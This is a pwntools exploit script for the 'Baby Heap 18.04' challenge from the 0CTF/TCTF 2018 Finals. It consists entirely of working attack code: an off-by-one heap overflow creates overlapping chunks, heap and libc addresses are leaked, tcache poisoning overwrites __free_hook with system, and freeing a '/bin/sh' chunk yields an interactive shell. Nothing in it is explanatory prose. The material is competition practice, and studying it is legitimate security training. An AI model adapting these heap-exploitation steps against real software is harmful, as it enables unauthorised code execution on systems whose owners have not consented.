0CTF/TCTF 2018 Finals Baby Heap 18.04 pwn

exploit.py

#!/usr/bin/env python
from pwn import *

context(terminal=['tmux', 'splitw', '-h'])  # horizontal split window
# context(terminal=['tmux', 'new-window'])  # open new window

# libc = ELF('')
elf = ELF('./babyheap1804')
context(os='linux', arch=elf.arch)
context(log_level='debug')  # output verbose log

RHOST = "192.168.201.24"
RPORT = 127
LHOST = "127.0.0.1"
LPORT = 127

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

def dbg(ss):
    log.info("%s: 0x%x" % (ss, eval(ss)))

conn = None
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?'  # pop option
if opt in 'rl':
    conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt])
elif opt == 'd':
    gdbscript = """

    continue
    """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
    conn = gdb.debug(['./babyheap1804'], gdbscript=gdbscript)
else:
    conn = process(['./babyheap1804'])
    # conn = process(['./babyheap1804'], env={'LD_PRELOAD': ''})
    if opt == 'a': gdb.attach(conn)

# exploit

def allocate(size):
    conn.sendlineafter('Command: ', '1')
    conn.sendlineafter('Size: ', str(size))

def update(idx, size, payload):
    conn.sendlineafter('Command: ', '2')
    conn.sendlineafter('Index: ', str(idx))
    conn.sendlineafter('Size: ', str(size))
    conn.sendafter('Content: ', payload)

def delete(idx):
    conn.sendlineafter('Command: ', '3')
    conn.sendlineafter('Index: ', str(idx))

def view(idx):
    conn.sendlineafter('Command: ', '4')
    conn.sendlineafter('Index: ', str(idx))



log.info('Pwning')

allocate(0x58)
allocate(0x58)
allocate(0x58)

allocate(0x28)  # 3
allocate(0x18)  # 4
allocate(0x28)  # 5
allocate(0x58)  # 6
update(3, 0x29, 'x'*0x28+'\x51')
delete(4)
allocate(0x48)  # 1
update(4, 0x20, 'a'*0x18+p64(0x31))
delete(3)
delete(5)
view(4)
conn.recvuntil('\x00'*7)
heap_base = u64(conn.recv(6)+'\x00'*2) - 0x380
dbg('heap_base')

update(4, 0x28, 'a'*0x18+p64(0x31) + p64(heap_base + 0x10))
allocate(0x28) # 3
allocate(0x28) # tcache_entry
delete(3)
update(4, 0x28, 'a'*0x18+p64(0x31) + p64(heap_base + 0x20))
allocate(0x28) # 3
allocate(0x28) # tcache_entry

update(5, 0x18, 'x'*8+p64(0x421)+'y'*8)
update(6, 0x58, '/bin/sh\x00'+'z'*0x30+p64(0x21)+'z'*0x18)
delete(7)
view(5)
conn.recvuntil('\x00'*6)
libc_base = u64(conn.recv(6)+'\x00'*2) - 0x3ebca0
dbg('libc_base')

update(5, 0x28, '\x00'*0x28)
delete(3)
update(4, 0x28, 'a'*0x18+p64(0x31) + p64(libc_base + 0x3ed8e8)) # __free_hook
allocate(0x28)
allocate(0x28)
update(7, 0x8, p64(libc_base + 0x4f440))  # libc_system
delete(6)
conn.interactive()